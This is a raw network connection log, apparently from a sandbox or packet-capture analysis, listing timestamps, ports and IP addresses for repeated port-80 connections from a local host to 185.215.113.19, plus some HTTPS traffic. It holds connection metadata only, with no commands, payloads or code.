Jul 26, 2024 13:51:04.570909023 CEST	80	63361	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:04.571055889 CEST	63361	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:04.575804949 CEST	80	63362	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:05.324831963 CEST	80	63362	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:05.326833010 CEST	63362	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:05.330143929 CEST	63362	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:05.330514908 CEST	63363	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:05.335995913 CEST	80	63362	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:05.336082935 CEST	63362	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:05.337157011 CEST	80	63363	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:05.337343931 CEST	63363	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:05.337482929 CEST	63363	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:05.342681885 CEST	80	63363	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.084908962 CEST	80	63363	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.085005045 CEST	63363	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.195683956 CEST	63363	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.195945978 CEST	63364	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.201236963 CEST	80	63364	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.201677084 CEST	63364	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.201703072 CEST	80	63363	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.201802015 CEST	63363	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.201936007 CEST	63364	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.206914902 CEST	80	63364	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.943564892 CEST	80	63364	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.943701982 CEST	63364	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.946652889 CEST	63364	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.946955919 CEST	63365	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.951833010 CEST	80	63365	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.952033043 CEST	63365	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.952231884 CEST	63365	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.952358961 CEST	80	63364	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:06.952584982 CEST	63364	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:06.957523108 CEST	80	63365	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:07.717493057 CEST	80	63365	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:07.718126059 CEST	63365	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:07.827972889 CEST	63365	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:07.828247070 CEST	63366	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:07.833058119 CEST	80	63366	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:07.833148956 CEST	63366	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:07.833153009 CEST	80	63365	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:07.833374977 CEST	63365	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:07.833602905 CEST	63366	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:07.838351011 CEST	80	63366	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:08.597305059 CEST	80	63366	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:08.597424984 CEST	63366	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:08.599806070 CEST	63366	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:08.600060940 CEST	63367	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:08.604988098 CEST	80	63367	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:08.605088949 CEST	63367	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:08.605179071 CEST	80	63366	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:08.605246067 CEST	63366	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:08.605396032 CEST	63367	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:08.611423969 CEST	80	63367	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:09.366050005 CEST	80	63367	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:09.366115093 CEST	63367	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:09.478226900 CEST	63367	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:09.478512049 CEST	63368	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:09.484164000 CEST	80	63368	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:09.484442949 CEST	63368	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:09.484836102 CEST	63368	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:09.487390041 CEST	80	63367	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:09.487529993 CEST	63367	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:09.490396023 CEST	80	63368	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:10.262523890 CEST	80	63368	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:10.262655973 CEST	63368	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:10.265446901 CEST	63368	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:10.265742064 CEST	63369	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:10.270709038 CEST	80	63369	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:10.271225929 CEST	80	63368	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:10.271344900 CEST	63368	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:10.271358013 CEST	63369	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:10.271476984 CEST	63369	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:10.276604891 CEST	80	63369	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:11.033535957 CEST	80	63369	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:11.033600092 CEST	63369	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:11.126200914 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:11.149471998 CEST	63369	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:11.149724960 CEST	63370	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:11.226810932 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:11.401436090 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:11.401458025 CEST	80	63370	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:11.401470900 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:11.401482105 CEST	80	63369	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:11.401557922 CEST	63369	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:11.401581049 CEST	63370	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:11.401810884 CEST	63370	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:11.406851053 CEST	80	63370	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:12.149827003 CEST	80	63370	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:12.150839090 CEST	63370	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:12.154021025 CEST	63370	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:12.154284954 CEST	63371	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:12.159118891 CEST	80	63371	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:12.159528017 CEST	80	63370	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:12.162792921 CEST	63370	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:12.162808895 CEST	63371	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:12.162940025 CEST	63371	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:12.168404102 CEST	80	63371	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:12.930887938 CEST	80	63371	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:12.930963039 CEST	63371	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.040982962 CEST	63371	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.041249990 CEST	63372	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.046202898 CEST	80	63372	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:13.046255112 CEST	63372	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.046524048 CEST	63372	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.046998978 CEST	80	63371	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:13.047060013 CEST	63371	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.061990023 CEST	80	63372	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:13.893225908 CEST	80	63372	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:13.893379927 CEST	63372	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.896255970 CEST	63372	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.896553993 CEST	63373	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.905512094 CEST	80	63373	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:13.905694008 CEST	63373	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.906083107 CEST	63373	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.907695055 CEST	80	63372	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:13.907802105 CEST	63372	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:13.915601969 CEST	80	63373	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:14.664988041 CEST	80	63373	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:14.665040970 CEST	63373	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:14.774409056 CEST	63373	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:14.774648905 CEST	63374	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:14.779611111 CEST	80	63374	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:14.779719114 CEST	63374	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:14.779841900 CEST	63374	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:14.784945011 CEST	80	63374	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:14.786062002 CEST	80	63373	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:14.786140919 CEST	63373	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:15.536325932 CEST	80	63374	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:15.536509991 CEST	63374	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:15.539587021 CEST	63374	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:15.539622068 CEST	63375	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:15.544589043 CEST	80	63375	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:15.544687033 CEST	63375	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:15.544770956 CEST	63375	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:15.545073986 CEST	80	63374	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:15.545187950 CEST	63374	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:15.549659967 CEST	80	63375	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:16.297480106 CEST	80	63375	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:16.297579050 CEST	63375	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:16.402275085 CEST	63375	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:16.402590990 CEST	63376	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:16.407721043 CEST	80	63376	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:16.407836914 CEST	63376	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:16.408106089 CEST	80	63375	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:16.408154964 CEST	63376	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:16.408231974 CEST	63375	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:16.413021088 CEST	80	63376	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:17.232275009 CEST	80	63376	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:17.232377052 CEST	63376	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:17.234824896 CEST	63376	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:17.235116005 CEST	63377	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:17.240068913 CEST	80	63377	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:17.240179062 CEST	63377	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:17.240380049 CEST	63377	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:17.240766048 CEST	80	63376	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:17.240962029 CEST	63376	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:17.245212078 CEST	80	63377	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:17.994311094 CEST	80	63377	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:17.994508028 CEST	63377	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.112870932 CEST	63377	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.113133907 CEST	63378	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.119174004 CEST	80	63378	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:18.119442940 CEST	63378	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.119822979 CEST	63378	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.119874954 CEST	80	63377	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:18.119946957 CEST	63377	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.125700951 CEST	80	63378	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:18.862709999 CEST	80	63378	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:18.862988949 CEST	63378	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.865504980 CEST	63378	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.865813971 CEST	63379	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.871495008 CEST	80	63379	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:18.871558905 CEST	63379	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.871793985 CEST	63379	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.871980906 CEST	80	63378	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:18.872077942 CEST	63378	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:18.876918077 CEST	80	63379	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:19.641287088 CEST	80	63379	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:19.641628981 CEST	63379	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:19.811749935 CEST	63379	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:19.811964035 CEST	63381	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:19.816840887 CEST	80	63381	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:19.817473888 CEST	80	63379	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:19.825824022 CEST	63379	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:19.825894117 CEST	63381	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:19.840091944 CEST	63381	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:19.845879078 CEST	80	63381	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:20.583525896 CEST	80	63381	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:20.586895943 CEST	63381	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:20.589303017 CEST	63381	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:20.589580059 CEST	63382	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:20.596863985 CEST	80	63381	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:20.597006083 CEST	80	63382	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:20.597223043 CEST	63381	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:20.597259998 CEST	63382	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:20.597712040 CEST	63382	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:20.604357958 CEST	80	63382	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:21.391635895 CEST	80	63382	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:21.391805887 CEST	63382	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:21.427536964 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:21.427953005 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:21.432782888 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:21.432888031 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:21.511610031 CEST	63382	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:21.511976004 CEST	63383	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:21.516995907 CEST	80	63383	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:21.517167091 CEST	63383	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:21.517354012 CEST	63383	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:21.517360926 CEST	80	63382	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:21.517580986 CEST	63382	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:21.522454977 CEST	80	63383	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:22.282516956 CEST	80	63383	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:22.285639048 CEST	63383	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:22.289041996 CEST	63383	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:22.289496899 CEST	63384	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:22.294294119 CEST	80	63384	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:22.294789076 CEST	63384	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:22.294912100 CEST	80	63383	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:22.295042038 CEST	63384	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:22.295106888 CEST	63383	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:22.300102949 CEST	80	63384	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:23.101458073 CEST	80	63384	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:23.102418900 CEST	63384	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:23.224308014 CEST	63384	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:23.224467039 CEST	63385	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:23.439995050 CEST	80	63385	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:23.440206051 CEST	63385	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:23.440535069 CEST	63385	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:23.448872089 CEST	80	63384	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:23.448901892 CEST	80	63385	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:23.448985100 CEST	63384	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:24.192425013 CEST	80	63385	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:24.192536116 CEST	63385	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:24.195224047 CEST	63385	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:24.195489883 CEST	63386	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:24.200406075 CEST	80	63386	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:24.200504065 CEST	63386	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:24.200579882 CEST	63386	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:24.200671911 CEST	80	63385	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:24.200736046 CEST	63385	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:24.205568075 CEST	80	63386	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:24.969221115 CEST	80	63386	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:24.972543001 CEST	63386	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:25.089407921 CEST	63388	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:25.089407921 CEST	63386	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:25.095078945 CEST	80	63388	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:25.095202923 CEST	63388	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:25.095326900 CEST	63388	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:25.095462084 CEST	80	63386	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:25.095594883 CEST	63386	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:25.101596117 CEST	80	63388	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:26.099800110 CEST	80	63388	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:26.099873066 CEST	63388	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:26.102902889 CEST	63388	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:26.103173971 CEST	63390	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:26.108149052 CEST	80	63388	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:26.110111952 CEST	63388	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:26.119808912 CEST	80	63390	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:26.121514082 CEST	80	63388	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:26.123864889 CEST	63388	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:26.123895884 CEST	63390	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:26.137253046 CEST	63390	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:26.307521105 CEST	80	63390	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:26.425719976 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:26.425739050 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:26.426002979 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:26.426002979 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:26.426022053 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:26.878241062 CEST	80	63390	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:26.878372908 CEST	63390	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.001745939 CEST	63390	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.002028942 CEST	63392	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.008373022 CEST	80	63392	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:27.008389950 CEST	80	63390	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:27.008874893 CEST	63390	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.008882046 CEST	63392	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.009345055 CEST	63392	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.014127970 CEST	80	63392	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:27.101689100 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.102047920 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.102055073 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.103538990 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.103616953 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.104909897 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.105087042 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.105089903 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.105205059 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.210699081 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.210731983 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.210803032 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.210812092 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.210820913 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.210855961 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.294682980 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.294694901 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.294749975 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.294768095 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.294814110 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.294841051 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.294841051 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.294858932 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.294920921 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.296559095 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.296585083 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.299937010 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.299942970 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.300542116 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.382976055 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.383001089 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384135962 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.384141922 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384160042 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384207010 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384216070 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.384233952 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384253025 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.384280920 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.384289026 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384304047 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384365082 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.384673119 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.384689093 CEST	443	63391	13.107.246.73	192.168.2.6
Jul 26, 2024 13:51:27.384696007 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.385366917 CEST	63391	443	192.168.2.6	13.107.246.73
Jul 26, 2024 13:51:27.749999046 CEST	80	63392	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:27.750221968 CEST	63392	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.753051043 CEST	63392	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.753346920 CEST	63393	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.759469986 CEST	80	63393	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:27.759583950 CEST	63393	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.759965897 CEST	63393	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:27.760243893 CEST	80	63392	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:27.762964964 CEST	63392	80	192.168.2.6	185.215.113.19
